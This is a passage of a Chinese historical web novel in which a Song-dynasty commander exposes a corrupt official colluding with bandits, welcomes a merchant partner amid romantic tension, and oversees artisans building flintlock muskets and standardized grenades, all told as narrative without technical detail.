但都知道,那边有人在等着。
第一百零一章 再次祸端
十二月十八。利州路。消息传来那天,夔州下着雪。
雪下得跟筛糠似的,一层一层往下倒。高尧康站在地图前头,听王端念。地图上画着四路的山川城池,标得密密麻麻的,他盯着利州那块地方,眼珠子都没转。
王端念得很快,声音压着:“利州那边,最近冒出十几股土匪。大的上千人,小的几十人。烧了好几个村子。抢了粮,杀了人,跑了。等官兵到的时候,就剩几堆灰。”
高尧康没说话。
王端继续说:“最怪的是,官兵一次都没追上过。明明知道他们在哪儿,等兵到了,人早跑了。跟长了顺风耳似的。好像有人通风报信。”
高尧康转过身。看着他。
“金兵呢?”
王端愣了一下。
“金兵?”
高尧康说:“金军的斥候。探子。有没有消息?”
王端摇摇头。脑袋晃得跟拨浪鼓似的。
“这个……没听说。那边没人报过。”
高尧康走到窗前。外头的雪下得正紧,一片一片往窗户上扑。外头白茫茫的,什么都看不见。
“没听说,不等于没有。土匪长了顺风耳,总得有人给他们装。”
他站了一会儿。忽然说:
“叫王彦和呼延通来。”
王彦来得快。浑身是雪,跟雪人成精了似的,进门就拍,雪片子往下掉。
“啥事?正练兵呢。”
高尧康说:“利州那边,你去一趟。”
王彦愣了一下。
“剿匪?那点土匪,还用我去?随便派个人不就得了。”
高尧康看着他。
“不只是土匪。”
他把王端刚才说的,重复了一遍。一字不落。
王彦听着听着,脸色变了。刚才那点不耐烦全没了。
“你是说……有内鬼?”
高尧康说:“有没有,查了才知道。”
他看着王彦。
“你带三千人去。速战速决。别拖。但有一条——”
王彦等着。
“抓人的时候,别光抓土匪。搜他们的东西。信。物资。兵器。看是从哪儿来的。谁给的。能追就追。”
王彦点点头。脸上的肉绷着。
“懂了。顺藤摸瓜。”
呼延通进来的时候,王彦正要走。两个人差点撞上。
“呼延,你也去。”
呼延通抱拳。手抬得很快。
“是。”
高尧康说:“你带一千人,守在利州路边境。王彦打完了,你就在那儿驻着。别动。”
呼延通愣了一下。
“驻着?不回来?”
高尧康说:“驻着。不走。”
他看着窗外。雪还在下。
“让有些人知道,咱们的兵,就在边上。让他们睡不着觉。”
十二月二十六。利州路。朝天岭。
王彦趴在雪地里,看着前头的寨子。雪把人都埋了一半,他趴在那儿一动不动,跟块石头似的。
寨子不大。木头搭的。几十间屋子。外头围着栅栏,栅栏上还插着削尖的木头。里头有人在走。拿着刀,扛着枪,跟逛大街似的。
旁边趴着个本地人。猎户。带路的。冻得直哆嗦,但不敢动。
“王将军,就是这儿。这伙人最多。三四百。头儿叫钻山虎,原来是山里的响马,后来不知道从哪儿弄了一批兵器,就狂了。”
王彦点点头。
他往后看了一眼。
三千人,趴在雪地里。一动不动。跟死了似的。只有呼出的白气,一团一团的。
他抬起手。
往下一切。
火枪响了。轰的一声,震得树上的雪往下掉。
寨门炸开了。木头碴子乱飞。
人冲进去。跟潮水似的。
里头乱了。有人在跑。有人在喊。有人拿起刀,还没砍下去,就倒了。雪地被踩得乱七八糟,红的白的混在一起。
半个时辰。结束了。
王彦站在寨子里,看着那些尸体。看着那些俘虏。俘虏蹲了一地,抱着头,哆嗦。
“搜。”
兵们散开。翻箱倒柜。踹门的声音,砸箱子的声音,骂人的声音,混成一片。
一个老兵跑过来。手里拿着个包袱。包袱挺沉,他双手捧着。
“王将军,你看这个。藏得挺严实,在炕洞里掏出来的。”
王彦打开。
里头是几封信。还有一小袋银子。银子挺白,成色不错。
他把信抽出来。看。
看着看着,脸色变了。
“他麻的。”
呼延通过来的时候,王彦已经搜了三个寨子。脸冻得通红,但眼睛里有火。
两封信。都是从利州城里送出来的。字迹不一样,但内容差不多——告诉土匪,官兵什么时候来,走哪条路,带多少人。什么时候能抢,什么时候得躲。写得清清楚楚,跟写作业似的。
底下没署名。
但信封上有印。
官印。红红的,盖得端端正正。
呼延通看着那两封信。眉头皱起来。
“真是内鬼?”
王彦说:“嗯。”
呼延通说:“谁?”
王彦摇摇头。
“不知道。但跑不了。”
他抬起头,看着呼延通。
“你在这儿驻着。我回去一趟。这地方你看着,别让人跑了。”
建炎二年正月初八。夔州。府衙。
高尧康看着那两封信。看了很久。翻过来,翻过去。对着光看,又放在桌上平着看。
杨蓁站在旁边。等着。
“谁干的?”
高尧康说:“利州路转运副使。姓周。周德。”
杨蓁愣了一下。
“你怎么知道?信上又没名字。”
高尧康把信翻过来。指着那个印。印有点歪,边角缺了一块。
“这印是他到任之后新刻的。原来那个坏了,上峰批了重新刻的。知道的人不多。但王端查过,批文是他自己写的。”
他看着杨蓁。
“王彦那边,还搜出来一批兵器。新的。不是土匪自己能造的。是官库里的。刀上还有编号。一对编号,就是利州官库出去的。”
杨蓁说:“那还等什么?抓人。这还不抓?”
高尧康摇摇头。
“不能抓。”
杨蓁看着他。眼睛瞪起来。
“为什么?”
高尧康说:“周德不是一个人。他背后还有人。抓了他,那些人就藏起来了。他一个人,能跟十几股土匪通气?他忙得过来?”
他把信放下。
“再说了,周德这种人,你抓他,他喊冤。他那些同党,也跟着喊冤。闹起来,四路都乱。老百姓不知道怎么回事,还以为咱们乱抓人。”
杨蓁说:“那怎么办?就让他这么逍遥?”
高尧康说:“让他自己知道。”
正月初十。利州路。转运副使衙门。
周德坐在屋里,手在抖。
桌上放着一封信。
没署名。就一行字。
“周大人,东西我收到了。下不为例。”
他认识那笔迹。
王彦的。他在城门口见过王彦写的告示,那笔迹跟狗爬似的,一眼就认得出来。
那天晚上,周德一夜没睡。
在床上翻来覆去,跟烙饼似的。他老婆被他吵醒三次,骂了他三回。
第二天一早,他派人去打听。打听的人回来,脸都白了。跟见了鬼似的。
“大人,朝天岭那边……王将军的兵,把土匪全剿了。钻山虎的脑袋,挂在树上了。还……还搜出些东西……”
周德的脸也白了。
“什么东西?”
那人摇摇头。
“不知道。但王将军的兵,还在边境上驻着。三千多人。没走。就在那儿扎营了,搭了帐篷,生了火,看样子是要长住。”
周德坐下去。
坐了很久。
椅子吱呀响了一声。
正月十五。元宵节。
夔州城里,到处是灯。红的黄的绿的,挂得满街都是。小孩儿提着灯笼跑来跑去,大人站在路边看热闹。
高尧康站在府
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衙门口,看着那些灯。灯映在他脸上,一明一暗的。
杨蓁站在他旁边。手里捧着个热汤婆子。
“周德那边,有消息吗?”
高尧康说:“有。他这几天,天天往成都府跑。跑得比兔子还快。”
杨蓁说:“找郑转运使?”
高尧康点点头。
“郑公怎么说?”
高尧康说:“郑公说,让他等着。”
杨蓁愣了一下。
“等着?等什么?”
高尧康没说话。
远处,忽然有人喊他。
“高宣抚!”
是沈万金。跑得气喘吁吁,肚子一颤一颤的。后头跟着几个人,抬着箱子,箱子挺沉,抬的人直喘。
跑到跟前,他擦了擦汗。脑门上亮晶晶的。
“高宣抚,有好消息。大好的消息。”
高尧康看着他。
沈万金说:“大宋联号,现在四路都通了。成都府路,潼川府路,利州路,夔州路。盐铁茶马,全在咱们手里。连成一条线了。”
他从怀里掏出一本账册。账册挺厚,封皮上写着字。
“这是上个月的流水。您看看。我算了两遍,没错。”
高尧康接过来。翻开。
数字很大。大得吓人。一行一行的,密密麻麻。
沈万金在旁边,眼睛亮亮的。跟灯似的。
“高宣抚,咱们现在不缺钱了。要多少有多少。”
高尧康合上账册。
“那些富商呢?都老实了?”
沈万金说:“都入了。有的一开始不愿意,端着呢。后来看别人都入了,赚钱了,也跟了。现在四路的买卖人,大半都在联号里头。咱们吃肉,他们喝汤。喝上汤的,就听话。不听话的,汤都没得喝。”
高尧康点点头。
沈万金又说:“还有一件事。大事。”
“说。”
沈万金顿了顿。脸上有点古怪。
“杭州那边……有消息了。”
高尧康看着他。
沈万金说:“苏娘子……苏檀儿……她来了。”
高尧康愣住了。
杨蓁在旁边,也愣住了。手里的汤婆子差点掉地上。
沈万金说:“人已经到了城门口。带着人,带着货,带着账本。说是……说是要正式加入联号,再也不走了。还带了她爹的一封信,说以后两家是一家。”
高尧康站在那儿。没动。
杨蓁看着他。
“你去接她。”
高尧康转过头。
杨蓁说:“去啊。站这儿干嘛?”
她脸上没什么表情。但眼睛里有东西。说不清是什么。
高尧康看了她一眼。
然后转身,往城门口走。
城门口,站着一队人。
前头是一辆马车。马车旁边,站着个女人。
穿着寻常的衣裳。青灰色的,不起眼。头发挽着,简单利落。脸上带着笑。
苏檀儿。
看见高尧康,她笑了一下。笑得跟以前一样。
“高宣抚。好久不见。”
高尧康走过去。站在她面前。
看着她。
瘦了。比在汴京的时候瘦。下巴都尖了。但眼睛还是那么亮。亮得跟星星似的。
“你怎么来了?”
苏檀儿说:“我爹不让我来。我还是来了。”
高尧康说:“你爹那边……他不是……”
苏檀儿说:“他押注赵构。我押注你。”
她看着高尧康。眼睛一眨不眨。
“谁赢了,还不知道。但我赌你。输了认。”
高尧康没说话。
苏檀儿说:“怎么?不欢迎?那我走?”
高尧康说:“欢迎。”
苏檀儿笑了。
笑得很好看。眼睛弯弯的。
后头,杨蓁不知道什么时候跟上来了。站在不远处,看着这边。
苏檀儿看见她,笑了一下。
“杨姐姐。”
杨蓁点点头。
“苏妹妹。”
两个人对望着。
高尧康站在中间。忽然觉得有点冷。
第一百零二章女人心事
那天晚上。府衙后院。
杨蓁坐在屋里,对着灯。发呆。
灯芯烧得噼啪响,她也没动。眼睛盯着火苗,但什么都没看进去。
赵福金敲门进来。没等她应声,就推门进来了。
“杨娘子。”
杨蓁抬头。眼睛有点红,但没哭。
赵福金走进来。坐下。自己给自己倒了杯水。
“我来看看你。”
杨蓁说:“看什么?”
赵福金说:“看你吃没吃醋。”
杨蓁愣了一下。
赵福金笑了。笑得挺坏的。
“我开玩笑的。”
杨蓁没笑。脸绷着。
赵福金看着她。把杯子放下。
“杨娘子,你跟着高宣抚,从真定打到汴京,从汴京打到夔州。你救过他的命。他也救过你的命。你们是过命的交情。不是谁都有的。”
杨蓁说:“我知道。”
赵福金说:“苏檀儿,她跟你不一样。她帮高宣抚的地方,是钱。是买卖。是那些你不在行的事。那些账本,那些数字,你看着就头疼。她看着两眼放光。”
她顿了顿。
“高宣抚需要你。也需要她。这是两回事。不是一回事。”
杨蓁看着她。眼神有点复杂。
“你倒是看得明白。”
赵福金笑了一下。笑得很轻。有点苦。
“我嫁过人。我男人是蔡京的儿子。他在的时候,府里女人一堆。我天天看,看了好几年。什么争风吃醋,什么明枪暗箭,我都见过。见得多了,就明白了。”
她站起来。
“杨娘子,你别多想。高宣抚对你,和对别人,不一样。我看得出来。”
她走了。
门关上。
杨蓁坐在那儿。对着那盏灯。灯芯又噼啪响了一声。
想了很久。
第二天。府衙前堂。
高尧康坐在主位上。苏檀儿坐在下头。沈万金坐在另一边,手里捧着茶杯,小口小口地抿。
桌上摆着账本。一大堆。摞得跟小山似的。
苏檀儿开口。开门见山。
“联号的架构,得改。”
沈万金愣了一下。茶杯差点掉下来。
“改?现在挺好……大家都熟了……”
苏檀儿摇摇头。头发跟着晃。
“现在是挺好,但以后人多了,就不行。人一多就乱,一乱就散。得分层。总号管分号,分号管铺子。一层一层,各管各的。账目也得分开。买卖的账,和军资的账,不能混。混在一起,到时候查都查不清。”
她指着账本。手指头点得啪啪响。
“还有,现在四路都通了,得设四个分号。成都府一个,潼川府一个,利州一个,夔州一个。各管各的买卖。总号只管大的。大方向,大钱,大事。”
沈万金听着。点头。点得跟鸡啄米似的。
“苏娘子说得对。对对对。”
苏檀儿看着高尧康。
“高宣抚,你觉得呢?”
高尧康说:“听你的。你懂。”
苏檀儿笑了。
“那就这么办。”
那天下午。府衙后头。
杨蓁在院子里练刀。
一刀一刀。砍得狠。刀风呼呼的,把地上的雪都卷起来了。
赵福金走过来。站在旁边看。手里捧着手炉。
杨蓁没理她。继续砍。
砍了一百多刀,才停下来。喘着气。额头上全是汗,热气往上冒。
赵福金递过去一块帕子。白的,干干净净的。
杨蓁接过来。擦了擦汗。
赵福金说:“好刀法。真快。”
杨蓁说:“练了十年了。天天练。”
赵福金说:“怪不得。我看着都害怕。”
杨蓁看着她。
“你找我干嘛?又是来看我吃没吃醋?”
赵福金说:“没事。就是看看你。”
杨蓁没说话。
赵福金说:“苏檀儿今天跟高宣抚说话的时候,我在旁边看着。偷偷看的。”
杨蓁看着她。
赵福金说:“高宣抚看她的眼神,和看你的眼神,不一样。”
杨蓁愣了一下。
赵福金说:“看苏檀儿的时候,是欣赏。看钱的眼神。看账本的眼神。看买
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卖的眼神。看你的时候……”
她顿了顿。把手炉抱紧了点。
“是别的。”
杨蓁看着她。
赵福金说:“你不信,自己去看。”
她转身走了。靴子踩在雪上,咯吱咯吱的。
杨蓁站在那儿。握着那把刀。
站了很久。雪落在她肩上,她也没拍。
晚上。高尧康在屋里看文书。桌上堆得满满的,烛光晃来晃去。
杨蓁推门进来。没敲门。
他抬起头。
她站在门口。看着他。脸被烛光照得忽明忽暗。
他放下笔。
“怎么了?”
杨蓁走过来。站在他面前。
看着他。
“苏檀儿来了,你高兴吗?”
高尧康说:“高兴。”
杨蓁说:“为什么高兴?”
高尧康说:“因为她能干。联号有了她,能发展得更好。钱的事,我头疼。她不头疼。”
杨蓁看着他。
“就这个?”
高尧康说:“就这个。”
杨蓁沉默了一会儿。眼睛里的东西慢慢软下来。
然后她忽然笑了。
“行。”
她转身要走。
高尧康站起来。一把拉住她。
她回头。
高尧康说:“蓁儿。”
她看着他。
高尧康说:“你是你。她是她。不一样。”
杨蓁愣了一下。
高尧康说:“你跟我从死人堆里爬出来的。汴京城墙上,你替我挡过箭。土门关外,我背着你跑了一夜。这些事,跟钱没关系。”
杨蓁看着他。眼睛里有东西在闪。烛光映在里面,亮晶晶的。
“我知道。”
她抽回手。往外走。
走到门口,忽然回头。
“赵福金今天跟我说,你看我的眼神,和看别人不一样。”
高尧康没说话。
杨蓁说:“她说得对。”
她走了。
门关上。
高尧康站在那儿。看着那扇门。看了很久。
然后他坐下来。继续看文书。但一个字都看不进去。
第一百零三章 他管不了
第二天。苏檀儿开始干活了。
她带着人,把联号的账本全搬出来。一本一本翻。一本一本看。看到半夜。眼睛都看红了。
沈万金在旁边陪着。一边陪一边打哈欠,打得下巴都快掉了。
“苏娘子,明天再看吧……这都子时了……”
苏檀儿头也不抬。手还在翻。
“你先睡。我看完这些。不看睡不着。”
沈万金走了。打着哈欠走的。
他知道以后联号的事,自己不用管了。
苏檀儿继续看。烛火晃着,她的脸一会儿亮一会儿暗。
门被推开。
她抬头。是高尧康。
端着一碗面。冒着热气。
“吃点东西。”
苏檀儿愣了一下。
接过来。吃了一口。
热乎的。面条挺软。汤挺鲜。
她低着头。吃着吃着,忽然说:
“我以为你会生我的气。”
高尧康说:“生什么气?”
苏檀儿说:“我爹让我留在杭州。让我听他的。我没听。来了。”
高尧康说:“那是你的事。你爱来不来。”
苏檀儿抬起头。看着他。
“你不怕我爹恨你?他在杭州有头有脸,认识不少人。”
高尧康说:“你爹恨不恨我,不重要。”
苏檀儿沉默了一会儿。
然后她笑了。笑得眼睛弯弯的。
“高尧康,你真是……”
她没说下去。
低头,继续吃面。
那碗面,她吃得很慢。一根一根的。
吃完的时候,眼眶有点红。
但她没让高尧康看见。低着头,把碗放下。
“谢谢。”
高尧康说:“吃完早点睡。”
他走了。
苏檀儿坐在那儿。看着那扇门。看了很久。
正月二十。利州路那边,又有消息传来。
周德请辞了。
说是身体不好。要回乡养病。信写得很长,说自己年纪大了,腿脚不利索,脑子也不灵光了,不能再为朝廷效力,请高宣抚恩准。
高尧康看着那封请辞的折子。看了一会儿。
然后他提笔,批了两个字。
“准了。”
杨蓁在旁边。
“就这么放他走?不查了?”
高尧康说:“他走了,比留着好。”
他看着窗外。
“他回去的路上,会告诉别人。告诉那些人,利州路的事,咱们知道。但咱们没动手。为什么?因为不想逼急他们。给他们留条活路。”
杨蓁说:“那他们以后……”
高尧康说:“以后他们做事之前,会想一想。想一想利州路的事。想一想那些土匪是怎么没的。想一想王彦的兵,还驻在边境上。想一想那些信,那些印,那些兵器。”
他转过身。
“这就够了。”
正月二十五。成都府。郑转运使来信了。
信里说,四路的官员,最近都老实了。该交的粮交了,该报的账报了。没人再拖。没人再推。没人再说怪话。
信最后说:
“高宣抚恩威并施,老夫佩服。佩服得紧。”
高尧康把信放下。
杨蓁在旁边。
“成了?”
高尧康说:“成了。”
杨蓁笑了。
高尧康站起来。走到窗前。
外头,雪停了。太阳出来了。明晃晃的,刺眼。
他忽然说:
“苏檀儿来了。联号有人管了。四路稳了。呼延通在利州那边驻着。王彦在练兵。孙老头那边,新造了一批火枪。比之前的还好使。”
他顿了顿。
“好像……终于能喘口气了。”
杨蓁走过来。站在他旁边。肩膀挨着肩膀。
“喘完了呢?”
高尧康说:“喘完了,接着干。”
他看着北边。眼睛眯起来。
“那边,还有人在等着。”
正月底。苏檀儿来找高尧康。
带着一张图。图很大,铺开来占了半张桌子。
“高宣抚,你看看这个。”
高尧康低头看。
是联号的扩张图。从夔州往外画。画了四条线。往东。往西。往南。往北。每条线上都标着小红点,密密麻麻的。
苏檀儿指着北边那条线。手指头点在红点上。
“这是往襄阳的。王善那边,已经通了。第一批货,十天前送到的。刀,枪,弩,火药。他回了信,说谢谢。还说下次来,他请喝酒。”
她指着东边那条线。
“这是往荆湖的。那边还没打过去,但路探好了。哪条路有山贼,哪条路有金兵,哪条路能走商队,都画出来了。等时机到了,就能走。”
她指着南边那条线。
“这是往两广的。那边的茶,那边的盐,比咱们这边便宜得多。运过来,赚差价。一趟能翻三倍。”
她指着西边那条线。
“这是往藏地的。路难走。但利大。一张皮子,能翻十倍。十倍,高宣抚。”
高尧康看着那张图。看了很久。
然后他抬起头,看着苏檀儿。
“你想把买卖做到天边去?”
苏檀儿笑了。笑得眼睛亮亮的。
“不行吗?”
高尧康说:“行。”
苏檀儿说:“那你给句话。”
高尧康说:“什么话?”
苏檀儿说:“让我放手干。亏了算我的。赚了算联号的。亏了我不跑,赚了我不贪。”
高尧康看着她。
她站在那儿。眼睛亮亮的。跟两盏灯似的。
他忽然想起汴京那年。城破之前,她手里拿着账本,说“我比朝廷快”。
二年了。什么都变了,她还是那样。想做的事,一定要做成。谁拦都不行。
“放手干。”他说。
苏檀儿笑了。
“好。”
她转身就走。走得飞快,裙子都飘起来了。
走到门口,忽然回头。
“高尧康。”
“嗯。”
“谢谢。”
她走了。
那天晚上。杨蓁忽然说:
“苏檀儿今天高兴得不行。跟谁都笑。见着我就笑,笑得我直发毛。”
高尧康说:“她高兴就行。”
杨蓁看着他。
“你对她……真没别的想法?”
高尧康说:“有。”
杨蓁愣了一下。脸上的笑没了。
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>高尧康说:“我欣赏她。感激她。她帮了我太多。没有她,联号转不起来。没有她,四路没那么快稳。”
他看着杨蓁。
“但你和别人不一样。”
杨蓁看着他。看了很久。
然后她笑了。
“行。我信你。”
二月初。利州路那边,呼延通来信了。
信不长。字写得跟狗爬似的,但能看清。
信里说,边境上的兵,他撤了三分之一。剩下的,还在那儿驻着。每天操练,喊得震天响,让那边的人听得见。
周德已经走了。走之前,在几个官员家里喝了一圈酒。喝完酒,那些人最近特别老实。该交的东西交了,该报的账报了。没人再提利州的事。
信最后说:
“高宣抚,你这招,比杀人管用。杀一个人,他同党恨你。吓住一群人,他们自己就老实了。”
高尧康把信放下。
杨蓁在旁边。
“他说啥?”
高尧康说:“说咱们的兵,把那些人吓住了。”
杨蓁笑了。
“那以后呢?”
高尧康说:“以后,他们听话,就留着。不听话……”
他没说下去。
杨蓁知道。
外头,有人敲门。
是苏檀儿。门没关,她就进来了。脸色有点不对。没了前几天的笑。
“高宣抚,有件事得跟你说。”
高尧康看着她。
苏檀儿说:“杭州那边,我爹来信了。说官家那边,有人注意到咱们了。”
高尧康说:“注意到什么?”
苏檀儿说:“注意到咱们在川陕搞的这一套。宣抚处置司。四路整合。联号。有人说是好事,夸咱们能干事。有人说……”
她顿了顿。
“有人说高尧康想自立。想当土皇帝。”
屋里静了。
静得能听见外头的风声。
杨蓁的手,按在刀柄上。
高尧康没动。
他看着苏檀儿。
“你爹怎么说?”
苏檀儿说:“我爹说,让咱们小心。杭州那边,有人盯着咱们。官家身边的人,有人递话了。说川陕那边,得看着点。”
高尧康点点头。
“知道了。”
苏檀儿看着他。
“你不担心?”
高尧康说:“担心什么?”
苏檀儿说:“官家那边要是……”
高尧康说:“官家现在在哪儿?”
苏檀儿说:“在杭州。”
高尧康说:“他离咱们两千里。金兵离他五百里。金兵前两天过了淮河,他睡不睡得着都难说。”
他看着苏檀儿。
“他顾不上咱们。”
苏檀儿愣了一下。
然后她笑了。
“好。那我接着干活了。”
她走了。
杨蓁站在旁边。
“真没事?”
高尧康说:“真没事。”
他看着窗外。
窗外,天黑下来了。远处的山黑黢黢的,什么都看不清。
但近处,府衙外头,有灯亮着。一盏一盏。越来越多。
是城里的灯。百姓家的灯。商铺的灯。军营的灯。
亮成一片。
第一百零四章 火器雄心
建炎二年二月初八。成都府。城外三十里。
高尧康站在一座小山包上,看着底下那片工地。风挺大,吹得他衣裳呼呼响,但他一动不动。
人很多。一千多号。有的在挖地基,有的在搬石头,有的在伐木料。号子声此起彼伏,嘿呦嘿呦的,热闹得像赶集。
宇文虚站在他旁边。瘦,黑,眼睛亮得吓人。跟俩灯泡似的。
“高宣抚,这儿就是格物院。”他指着底下一片划好的区域,手在空中比划,“东边是工坊。西边是库房。北边是匠人住的地方。南边……”
他顿了顿。声音低下去。往四周看了一眼,跟做贼似的。
“南边是试验场。远一点。怕炸。”
高尧康点点头。
宇文虚又说:“军器总局在另一边。隔着五里地。那边专门造东西。这边专门想东西。”
高尧康看着他。
“想东西?”
宇文虚说:“对。想。想怎么做更好。怎么打得更远。怎么炸得更狠。怎么让金兵一听着响就跑。”
他指着自己的脑袋。手指头戳得咚咚响。
“这儿想的,那边造。造出来,试。试完了,再想。想完了再造。一遍一遍,越来越好。”
高尧康说:“谁想?”
宇文虚说:“我。雷振。赵铁柱。鲁四。还有十几个徒弟。还有……”
他从怀里掏出一张纸。纸皱巴巴的,跟被揉过似的。
“这是名单。都是各地逃来的匠人。有会铸铁的,有会配火药的,有会做弩机的。一共四十七个。有的带着家小,有的光棍一条。”
高尧康接过名单。看了一遍。
然后把名单还给他。
“缺什么?”
宇文虚说:“钱。人。料。都缺。钱最缺。人还能慢慢找,料还能慢慢收,钱没了就啥都没了。”
高尧康说:“钱给你。人给你。料给你。”
他看着宇文虚。
“三个月。我要看到新东西。”
宇文虚愣了一下。
然后他笑了。笑得脸上褶子都开了。
“高宣抚,有你这句话,一个月就够。用不了三个月。我跟你打赌。”
二月十五。格物院。一号工坊。
宇文虚蹲在地上,对着一堆矿石发呆。眼睛直勾勾的,跟看见美女似的。
雷振站在旁边。手里拿着块石头。石头黑不溜秋的,看着不起眼。
“宇文师傅,你看这个。”
宇文虚接过来。翻来覆去地看。对着光看,又拿牙咬了咬。
石头是黑的。发亮。沉手。比一般的石头沉得多。
雷振说:“从蜀南那边找的。当地人说,这玩意儿烧出来的铁,特别硬。削铁如泥那种。”
宇文虚眼睛亮了。亮得跟灯泡似的。
“试过没有?”
雷振说:“试了。烧了一炉。出来的铁……”
他从身后拿出一根铁条。铁条灰扑扑的,但看着就不一样。
宇文虚接过来。掂了掂。拿刀在上头划了一下。
没划动。
他又划了一下。用劲。手都酸了。
还是没划动。
他抬起头。看着雷振。嘴张着。
“这……”
雷振说:“比咱们原先用的,硬三成。我试了三回,回回这样。”
宇文虚站起来。拿着那根铁条,往外走。走得飞快。
“走。找赵铁柱。让他试试。”
二号工坊。赵铁柱正在打铁。光着膀子,浑身是汗,跟从水里捞出来似的。锤子抡得呼呼响,叮叮当当的。
宇文虚把铁条递给他。
“试试这个。”
赵铁柱接过来。看了看。敲了敲。听了听。放在耳边听了半天。
然后他把铁条夹进炉子里。烧红了。拿出来。抡起锤子,砸。
当当当。当当当。
砸了十几下,他停住了。
看着那根铁条。看着上头的锤印。锤印浅浅的,不像平时那样深。
抬起头。眼睛瞪得跟铜铃似的。
“宇文师傅,这铁……不对。”
宇文虚说:“怎么不对?”
赵铁柱说:“太韧了。以前这种铁,砸几下就裂,跟玻璃似的。这个……越砸越结实。你看,锤印都浅。”
他把铁条举起来,对着光。
“这玩意儿,能造好刀。”
他看着宇文虚。
“哪儿来的?”
宇文虚说:“蜀南。雷振找的。山里头。”
赵铁柱沉默了一会儿。盯着那根铁条看。
然后他忽然笑了。笑得跟捡着金子似的。
“他麻的。好玩意儿。多弄点来。”
二月二十。格物院。试验场。
高尧康站在远处。杨蓁站在他旁边。手按在刀柄上,眯着眼往前看。
前头二百步外,立着一块木板。木板后头,是三层牛皮。牛皮后头,是草人。草人穿着破衣裳,跟真人似的。
宇文虚蹲在一张桌子后头。桌上放着一把铳。
和以前的不一样。
更长。更细。枪管发亮,跟镜子似的。枪托上有个奇怪的东西,弯弯的,亮亮的。
燧发机。
宇文虚拿起那把铳。装药。装弹。压紧。动作很慢,但很稳。
然后他举起铳。瞄准。眯着一只眼。
砰——
一声响。比以前的火铳响得脆。跟放炮仗似的。烟冒起来,一团白烟。很快散了。
高尧康看着那块木板。
二百步外,木板穿了个洞。洞不大,但能看见光。牛皮穿了三层。草人身上,多了个窟窿。窟窿边上一圈黑的。
宇文虚放下铳。朝他挥挥手。脸上带着笑。
高尧康走过去。
走到那块木板前头。看着那个洞。
洞不大。但很圆。穿透了木板,穿透了牛皮,打进了草人。
他伸手进草人里。摸出一颗弹丸。
弹丸变形了。扁了。但没碎。还热着。烫手。
他转过身。看着宇文虚。
“射程?”
宇文虚说:“二百五十步。准的。三百步也能打,就是没那么准。得看运气。”
“射速?”
“比以前的快一倍。不用点火绳。扣一下就行。咔嚓,砰。”
高尧康把那颗弹丸攥在手里。还有点烫。
“多久能造?”
宇文虚说:“现
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在一天能造三把。要是料够,人手够,一天能造十把。要是再给我俩月,一天二十把。”
高尧康点点头。
他看着那把铳。看了很久。
然后他说:“叫神机铳。”
宇文虚愣了一下。
“神机铳?”
高尧康说:“对。神机铳。以后就叫这个。”
宇文虚念叨了两遍。神机铳。神机铳。
然后他笑了。
“这名字好。比火铳好听。”
三月初五。军器总局。一号作坊。
三百个匠人,排成三十排。每排十个人。每人面前一张案子。案子上摆着工具。锤子、钳子、锉刀、尺子,摆得整整齐齐。
鲁四站在最前头。手里拿着一把弩。弩是新的,木头还发白。
他把弩举起来。高高地举着。
“看好了。这是弩机。一共九个零件。九个,数清楚。”
他把弩拆开。零件一个一个摆出来。摆成一排。整整齐齐的。
“从今天起,你们一人只做一个零件。做扳机的,一辈子做扳机。做牙的,一辈子做牙。做望山的,一辈子做望山。不许换。”
底下有人问:“那怎么装起来?”
鲁四说:“有专门装的人。你们做好,送到后头。后头的人装。装好,试。试好,入库。”
又有人问:“做坏了怎么办?”
鲁四说:“做坏了,重做。做三次还坏,走人。卷铺盖走。这儿不养废物。”
没人说话了。互相看了一眼,又把头低下去。
鲁四挥挥手。
“开始。”
三百个人,低头干活。叮叮当当的,跟一群啄木鸟似的。
三月初十。震天雷作坊。
孙老头蹲在地上,看着一排铁疙瘩。
三十个。一模一样。大小一样,轻重一样。放在那儿,跟多胞胎似的。
他拿起一个。掂了掂。又拿起一个。掂了掂。
旁边徒弟问:“师傅,行吗?”
孙老头没说话。拿着那个震天雷,走到外头。
点着引信。嗤嗤冒烟。扔出去。
轰——
炸了。土飞起来老高。烟散之后,地上一个坑。
孙老头走过去。量坑的大小。拿尺子量。量完,记在心里。回来。又拿起一个。点着。扔出去。
轰——
又炸了。坑的大小,和第一个差不多。
他又量。量完,站起来。
看着那些徒弟。
“成了。”
徒弟们围过来。七嘴八舌的。
“师傅,真的成了?”
“都一个样?”
“让我看看。”
孙老头点点头。脸上没什么表情,但眼睛里有点东西。
“以后,震天雷都一样。大小一样,轻重一样,炸的坑也一样。扔出去,都炸这么大。不用猜,不用试。”
他顿了顿。
“高宣抚说的那个词,叫什么来着?”
徒弟说:“标准化。”
孙老头说:“对。标准化。”
他又拿起一个震天雷。看了看。忽然咧嘴笑了。露出几颗豁牙。
“他麻的,老子这辈子没做过这么齐整的东西。”
第一百零五章 科技立国
三月十五。格物院。宇文虚的屋子。
屋子不大,到处堆着东西。矿石、铁条、图纸、工具,乱七八糟的,跟垃圾堆似的。但宇文虚知道每样东西在哪儿。
高尧康坐在他对面。桌上放着两样东西。
一样是那根铁条。蜀南来的。黑不溜秋,但硬得邪乎。
一样是一块石头。灰白色的。雷振刚送来的。
宇文虚指着那块石头。手指头点着,眼睛放光。
“雷振在蜀南又找到的。当地人说,这玩意儿能烧火。扔灶里,火苗子窜老高。”
高尧康说:“硝石?”
宇文虚说:“像。但不敢肯定。我舔了一下,有点凉。硝石就这味儿。”
他顿了顿。
“要是真的,咱们的**,就不用靠外头了。自己挖,自己配,自己造。金人想卡咱们脖子都卡不着。”
高尧康拿起那块石头。翻来覆去地看。对着光看,又放在鼻子底下闻了闻。
“试过了?”
宇文虚说:“试了。能烧。烧得挺快,挺旺。但纯度不知道。得找人配。我手头没那本事。”
高尧康说:“那就找。要多少钱给多少钱,要多少人给多少人。去两广找,去江南找,去西域找。只要有人会,就请来。”
宇文虚点点头。
高尧康站起来。走到窗前。
窗外,工地还在忙。房子越盖越多。人越来越多。扛木头的,搬石头的,和泥的,喊号子的,热闹得跟庙会似的。
他忽然说:“宇文师傅。”
宇文虚走过来。站在他旁边。
高尧康说:“你知道我在想什么吗?”
宇文虚说:“想什么?”
高尧康说:“想有一天,咱们的兵,手里拿的都是神机铳。射程三百步。不用点火绳。想打就打。金兵还没摸过来,先倒下一半。”
他看着窗外。
“想有一天,咱们的炮,能轰开金人的城墙。一炮下去,墙就塌了。人就像下饺子似的往下掉。”
宇文虚没说话。
高尧康转过头,看着他。
“能行吗?”
宇文虚沉默了一会儿。脸上那道疤跟着动了动。
然后他说:“高宣抚,你给我十年,我能给你十万把神机铳。十万把,够二十万人用。”
